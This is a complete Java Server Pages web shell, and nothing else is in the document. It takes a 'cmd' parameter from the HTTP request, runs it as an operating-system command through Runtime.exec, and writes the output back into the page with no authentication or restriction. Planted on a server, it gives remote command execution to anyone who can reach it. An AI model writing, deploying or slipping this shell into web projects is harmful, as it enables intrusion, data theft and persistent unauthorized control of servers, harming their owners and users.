<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <pre><%=output %></pre>